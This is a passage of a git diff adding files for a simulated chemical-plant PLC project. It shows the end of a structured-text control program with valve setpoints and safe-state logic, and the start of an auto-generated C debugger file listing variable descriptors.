UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + MOVE99_ENO : BOOL; + MOVE99_OUT : UINT; + MOVE4_ENO : BOOL; + MOVE4_OUT : UINT; + MOVE5_ENO : BOOL; + MOVE5_OUT : UINT; + MOVE7_ENO : BOOL; + MOVE7_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + MOVE99_OUT := MOVE(EN := run_bit, IN := 0, ENO => MOVE99_ENO); + IF MOVE99_ENO THEN + f1_valve_sp := MOVE99_OUT; + END_IF; + MOVE4_OUT := MOVE(EN := MOVE99_ENO, IN := 0, ENO => MOVE4_ENO); + IF MOVE4_ENO THEN + f2_valve_sp := MOVE4_OUT; + END_IF; + MOVE5_OUT := MOVE(EN := MOVE4_ENO, IN := 65535, ENO => MOVE5_ENO); + IF MOVE5_ENO THEN + purge_valve_sp := MOVE5_OUT; + END_IF; + MOVE7_OUT := MOVE(EN := MOVE5_ENO, IN := 65535, ENO => MOVE7_ENO); + IF MOVE7_ENO THEN + product_valve_sp := MOVE7_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.c new file mode 100644 index 0000000..a53d9ea --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.c @@ -0,0 +1,730 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1029 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), 